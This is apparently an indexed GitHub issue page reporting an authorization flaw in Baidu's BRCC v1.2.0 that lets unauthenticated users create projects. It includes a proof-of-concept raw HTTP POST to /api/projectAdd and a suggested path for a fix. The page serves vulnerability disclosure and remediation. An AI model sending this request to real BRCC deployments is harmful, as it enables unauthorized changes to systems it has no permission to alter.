baidu / baidu/brcc

Improper permission management allowing unauthorized users to create projects arbitrarily

Open
#191 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
Java
Stars
400
Forks
91
PR merge metrics
No merged PRs in 30d

Description

BRCC v1.2.0 has improper permission management, allowing unauthorized users to create projects arbitrarily.

### Proof of Concept:
**Send the following request to add project and it successfully adds the project.**
The request was unauthorized without rcc-token, token or cookie. There are six parameters. The parameter apiPassword and memo can be arbitrary. The parameter name should keep unique in the system. The parameter userName should be the existing username in the system. The parameter productName should be an existing product name in the system and it could be managed by the corresponding username. The value of parameter projectType can be 0.

```
POST /api/projectAdd HTTP/1.1
Host: x.x.x.x:8089
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://x.x.x.x:8089/swagger-ui.html
Content-Type: application/json
Content-Length: 144
Origin: http://x.x.x.x:8089
Connection: keep-alive

{
"apiPassword": "123456",
"memo": "string",
"name": "adminfake5",
"productName": "putong1",
"projectType": 0,
"userName": "admin"
}
```
image

When checking the data in the database, we found it is successfully added.
image

Contributor guide

No contributing guide indexed for this repository

Research direction

Start by tracing the /api/projectAdd endpoint from the Swagger UI request through its authorization checks and project persistence path. Reproduce the unauthenticated request in a local BRCC v1.2.0 setup, then verify that it is rejected while valid authorized project creation still succeeds and no unauthorized database record is added.

Written by the indexing model from the issue text.

Assessment

Tech stack
java
Domain
api, authorization, security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Stale
Clarity
Mostly clear
Newbie friendliness
28/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.